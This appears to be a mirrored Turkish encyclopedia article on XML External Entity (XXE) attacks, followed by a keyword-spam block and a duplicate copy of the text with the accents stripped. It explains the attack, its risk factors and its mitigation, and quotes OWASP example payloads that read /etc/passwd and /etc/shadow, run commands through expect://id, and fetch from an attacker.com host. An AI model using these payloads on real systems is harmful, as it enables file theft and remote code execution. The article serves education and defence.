XML Harici Varlık saldırısı, XML girdilerini ayrıştıran bir uygulamaya karşı yapılan bir saldırı türüdür. Bu saldırı, harici bir varlığa referans içeren XML girdisi eksik yapılandırılmış bir XML ayrıştırıcısı ile işlendiğinde gerçekleşir. Bu saldırı gizli verilerin ifşasına, hizmet dışı bırakmaya, sunucu taraflı istek sahteciliğine, ayrıştırıcının bulunduğu makine tarafında port taramaya ve başka sistem etkilerine yol açabilir.
Açıklama
XML 1.0 standardı bir XML belgesinin yapısını tanımlar. Standart, bir tür depolama birimi olan ve varlık olarak adlandırılan bir kavramı tanımlar. Beyan edilmiş bir sistem tanımlayıcısı ile yerel veya uzak içeriğe erişebilen birkaç farklı varlık tipi vardır. Harici genel/parametre ayrıştırılmış varlık sıklıkla harici varlığa kısaltılır. Sistem tanımlayıcısı varlık işlenirken XML işlemcisi tarafından erişilebilen bir URI olduğu varsayılır. XML işlemcisi sonra sistem tanımlayıcısı tarafından erişilen içeriklerin harici varlık oluşumlarının yerini almasını sağlar. Sistem tanımlayıcısı bozulmuş veri içeriyorsa ve XML işlemcisi bu bozulmuş veriye erişirse, XML işlemcisi uygulama tarafından normalde erişilemeyen gizli bilgileri ifşa edebilir. Harici DTD’lerin, harici biçem tablolarının, harici şemaların vb. kullanımında benzer şekilde harici kaynağa ekleme türü saldırılarına izin veriliyorsa ve dahil edildiklerinde benzer atak vektörleri uygulanır.
Saldırılar, sistem tanımlayıcısındaki göreceli dizinler veya dosya şemaları kullanılarak parola ya da özel kullanıcı verileri gibi hassas veriler içerebilecek yerel dosyaları ifşa etmeyi içerebilir. XML belgesini işleyen uygulamaya ilişkin atak meydana geldiğinde, saldırgan bu güvenilir uygulamadan başka iç sistemlere geçmek ve muhtemelen başka iç sistem bileşenlerini http(s) istekleri üzerinden ifşa etmek veya korumasız herhangi bir iç servise bir CSRF saldırısı başlatmak için kullanabilir. Bazı durumlarda, istemci taraflı bellek bozulması sorunlarına zafiyeti bulunan bir XML işlemci kütüphanesi, zararlı bir URI ’ye erişerek ve muhtemelen uygulama hesabı altında rastgele kod çalıştırılmasına izin vererek sömürülebilir. Diğer saldırılar veri döndürmeyi durduramayan yerel kaynaklara erişebilir ve çok fazla iş parçacığı veya işlem başlatılmazsa uygulamanın erişilebilirliğini etkileyebilir.
Uygulamanın, bilgi ifşasına zafiyetinin bulunması için saldırgana cevabı açıkça döndürmesine gerek yoktur. Saldırgan alt etki alanı adları aracılığıyla denetimleri altındaki bir DNS sunucusuna veri aktarmak için DNS bilgisinden istifade edebilir.
Risk faktörleri
- Uygulama XML belgelerini ayrıştırır.
- Bozuk verilere, varlığın sistem tanımlayıcı bölümünde belge türü tanımı (DTD) dahilinde izin verilir.
- XML işlemci DTD'yi doğrulayacak ve işleyecek şekilde yapılandırılmıştır.
- XML işlemci DTD dahilinde harici varlıkları çözmek için yapılandırılmıştır.
Örnekler
Aşağıdaki örnekler XML Enjeksiyonu Testi'nden (OWASP-DV-008) alınmıştır .
Geri dönmeyebilir yerel bir kaynağa erişme
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>
Uzaktan kod çalıştırma
PHP "expect" modülü yüklendiğinde değiştirilmiş bir veri yükü (payload) ile uzaktan kod çalıştırılması mümkün olabilir.
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "expect://id" >]> <creds> <user>&xxe;</user> <pass>mypass</pass> </creds>
/etc/passwd veya diğer hedeflenen dosyaların ifşası
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo> <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo> <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo> <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>
Hafifletme
Tüm XML belgesi güvenilmeyen bir istemciden iletildiğinden, DTD'deki sistem tanımlayıcısında bozulmuş verileri seçip doğrulamak veya elemine etmek genellikle mümkün değildir. Bu sebeple, XML işlemcisi yerel sabit bir DTD kullanacak şekilde yapılandırılmalı ve XML dokümanına dahil edilen beyan edilmiş herhangi bir DTD’ye izin vermemelidir.
Ayrıca bakınız
Kaynakça
Dış bağlantılar
- OWASP XML External Entity (XXE) Prevention Cheat Sheet 8 Nisan 2020 tarihinde Wayback Machine sitesinde .
- Timothy Morgan's 2014 Paper: XML Schema, DTD, and Entity Attacks - A Compendium of Known Techniques 20 Eylül 2020 tarihinde Wayback Machine sitesinde .
- Precursor presentation of above paper - at OWASP AppSec USA 2013 20 Eylül 2020 tarihinde Wayback Machine sitesinde .
- CWE-611: Information Exposure Through XML External Entity Reference 30 Mart 2020 tarihinde Wayback Machine sitesinde .
- CWE-827: Improper Control of Document Type Definition 26 Şubat 2020 tarihinde Wayback Machine sitesinde .
- Sascha Herzog's Presentation on XML External Entity Attacks - at OWASP AppSec Germany 2010 9 Nisan 2016 tarihinde Wayback Machine sitesinde .
- PostgreSQL XXE vulnerability 12 Mart 2020 tarihinde Wayback Machine sitesinde .
- SharePoint and DotNetNuke XXE Vulnerabilities, in French 25 Eylül 2017 tarihinde Wayback Machine sitesinde .
- XML Denial of Service Attacks and Defenses (in .NET) 19 Eylül 2019 tarihinde Wayback Machine sitesinde .
- Early (2002) BugTraq Article on XXE 2 Eylül 2019 tarihinde Wayback Machine sitesinde .
- XML 1.0 Extensible Markup Language (XML) 1.0 (Fifth Edition) 22 Mart 2020 tarihinde Wayback Machine sitesinde .
wikipedia, wiki, viki, vikipedia, oku, kitap, kütüphane, kütübhane, ara, ara bul, bul, herşey, ne arasanız burada,hikayeler, makale, kitaplar, öğren, wiki, bilgi, tarih, yukle, izle, telefon için, turk, türk, türkçe, turkce, nasıl yapılır, ne demek, nasıl, yapmak, yapılır, indir, ücretsiz, ücretsiz indir, bedava, bedava indir, mp3, video, mp4, 3gp, jpg, jpeg, gif, png, resim, müzik, şarkı, film, film, oyun, oyunlar, mobil, cep telefonu, telefon, android, ios, apple, samsung, iphone, xiomi, xiaomi, redmi, honor, oppo, nokia, sonya, mi, pc, web, computer, bilgisayar
XML Harici Varlik saldirisi XML girdilerini ayristiran bir uygulamaya karsi yapilan bir saldiri turudur Bu saldiri harici bir varliga referans iceren XML girdisi eksik yapilandirilmis bir XML ayristiricisi ile islendiginde gerceklesir Bu saldiri gizli verilerin ifsasina hizmet disi birakmaya sunucu tarafli istek sahteciligine ayristiricinin bulundugu makine tarafinda port taramaya ve baska sistem etkilerine yol acabilir AciklamaXML 1 0 standardi bir XML belgesinin yapisini tanimlar Standart bir tur depolama birimi olan ve varlik olarak adlandirilan bir kavrami tanimlar Beyan edilmis bir sistem tanimlayicisi ile yerel veya uzak icerige erisebilen birkac farkli varlik tipi vardir Harici genel parametre ayristirilmis varlik siklikla harici varliga kisaltilir Sistem tanimlayicisi varlik islenirken XML islemcisi tarafindan erisilebilen bir URI oldugu varsayilir XML islemcisi sonra sistem tanimlayicisi tarafindan erisilen iceriklerin harici varlik olusumlarinin yerini almasini saglar Sistem tanimlayicisi bozulmus veri iceriyorsa ve XML islemcisi bu bozulmus veriye erisirse XML islemcisi uygulama tarafindan normalde erisilemeyen gizli bilgileri ifsa edebilir Harici DTD lerin harici bicem tablolarinin harici semalarin vb kullaniminda benzer sekilde harici kaynaga ekleme turu saldirilarina izin veriliyorsa ve dahil edildiklerinde benzer atak vektorleri uygulanir Saldirilar sistem tanimlayicisindaki goreceli dizinler veya dosya semalari kullanilarak parola ya da ozel kullanici verileri gibi hassas veriler icerebilecek yerel dosyalari ifsa etmeyi icerebilir XML belgesini isleyen uygulamaya iliskin atak meydana geldiginde saldirgan bu guvenilir uygulamadan baska ic sistemlere gecmek ve muhtemelen baska ic sistem bilesenlerini http s istekleri uzerinden ifsa etmek veya korumasiz herhangi bir ic servise bir CSRF saldirisi baslatmak icin kullanabilir Bazi durumlarda istemci tarafli bellek bozulmasi sorunlarina zafiyeti bulunan bir XML islemci kutuphanesi zararli bir URI ye eriserek ve muhtemelen uygulama hesabi altinda rastgele kod calistirilmasina izin vererek somurulebilir Diger saldirilar veri dondurmeyi durduramayan yerel kaynaklara erisebilir ve cok fazla is parcacigi veya islem baslatilmazsa uygulamanin erisilebilirligini etkileyebilir Uygulamanin bilgi ifsasina zafiyetinin bulunmasi icin saldirgana cevabi acikca dondurmesine gerek yoktur Saldirgan alt etki alani adlari araciligiyla denetimleri altindaki bir DNS sunucusuna veri aktarmak icin DNS bilgisinden istifade edebilir Risk faktorleriUygulama XML belgelerini ayristirir Bozuk verilere varligin sistem tanimlayici bolumunde belge turu tanimi DTD dahilinde izin verilir XML islemci DTD yi dogrulayacak ve isleyecek sekilde yapilandirilmistir XML islemci DTD dahilinde harici varliklari cozmek icin yapilandirilmistir OrneklerAsagidaki ornekler XML Enjeksiyonu Testi nden OWASP DV 008 alinmistir Geri donmeyebilir yerel bir kaynaga erisme lt xml version 1 0 encoding ISO 8859 1 gt lt DOCTYPE foo lt ELEMENT foo ANY gt lt ENTITY xxe SYSTEM file dev random gt gt lt foo gt amp xxe lt foo gt Uzaktan kod calistirma PHP expect modulu yuklendiginde degistirilmis bir veri yuku payload ile uzaktan kod calistirilmasi mumkun olabilir lt xml version 1 0 encoding ISO 8859 1 gt lt DOCTYPE foo lt ELEMENT foo ANY gt lt ENTITY xxe SYSTEM expect id gt gt lt creds gt lt user gt amp xxe lt user gt lt pass gt mypass lt pass gt lt creds gt etc passwd veya diger hedeflenen dosyalarin ifsasi lt xml version 1 0 encoding ISO 8859 1 gt lt DOCTYPE foo lt ELEMENT foo ANY gt lt ENTITY xxe SYSTEM file etc passwd gt gt lt foo gt amp xxe lt foo gt lt xml version 1 0 encoding ISO 8859 1 gt lt DOCTYPE foo lt ELEMENT foo ANY gt lt ENTITY xxe SYSTEM file etc shadow gt gt lt foo gt amp xxe lt foo gt lt xml version 1 0 encoding ISO 8859 1 gt lt DOCTYPE foo lt ELEMENT foo ANY gt lt ENTITY xxe SYSTEM file c boot ini gt gt lt foo gt amp xxe lt foo gt lt xml version 1 0 encoding ISO 8859 1 gt lt DOCTYPE foo lt ELEMENT foo ANY gt lt ENTITY xxe SYSTEM http www attacker com text txt gt gt lt foo gt amp xxe lt foo gt HafifletmeTum XML belgesi guvenilmeyen bir istemciden iletildiginden DTD deki sistem tanimlayicisinda bozulmus verileri secip dogrulamak veya elemine etmek genellikle mumkun degildir Bu sebeple XML islemcisi yerel sabit bir DTD kullanacak sekilde yapilandirilmali ve XML dokumanina dahil edilen beyan edilmis herhangi bir DTD ye izin vermemelidir Ayrica bakinizSQL enjeksiyonu Kor SQL enjeksiyonuKaynakca Acunetix 15 Ekim 2014 tarihinde kaynagindan arsivlendi Erisim tarihi 26 Mart 2020 Arsivlenmis kopya PDF 20 Subat 2020 tarihinde kaynagindan PDF Erisim tarihi 26 Mart 2020 Dis baglantilarOWASP XML External Entity XXE Prevention Cheat Sheet 8 Nisan 2020 tarihinde Wayback Machine sitesinde Timothy Morgan s 2014 Paper XML Schema DTD and Entity Attacks A Compendium of Known Techniques 20 Eylul 2020 tarihinde Wayback Machine sitesinde Precursor presentation of above paper at OWASP AppSec USA 2013 20 Eylul 2020 tarihinde Wayback Machine sitesinde CWE 611 Information Exposure Through XML External Entity Reference 30 Mart 2020 tarihinde Wayback Machine sitesinde CWE 827 Improper Control of Document Type Definition 26 Subat 2020 tarihinde Wayback Machine sitesinde Sascha Herzog s Presentation on XML External Entity Attacks at OWASP AppSec Germany 2010 9 Nisan 2016 tarihinde Wayback Machine sitesinde PostgreSQL XXE vulnerability 12 Mart 2020 tarihinde Wayback Machine sitesinde SharePoint and DotNetNuke XXE Vulnerabilities in French 25 Eylul 2017 tarihinde Wayback Machine sitesinde XML Denial of Service Attacks and Defenses in NET 19 Eylul 2019 tarihinde Wayback Machine sitesinde Early 2002 BugTraq Article on XXE 2 Eylul 2019 tarihinde Wayback Machine sitesinde XML 1 0 Extensible Markup Language XML 1 0 Fifth Edition 22 Mart 2020 tarihinde Wayback Machine sitesinde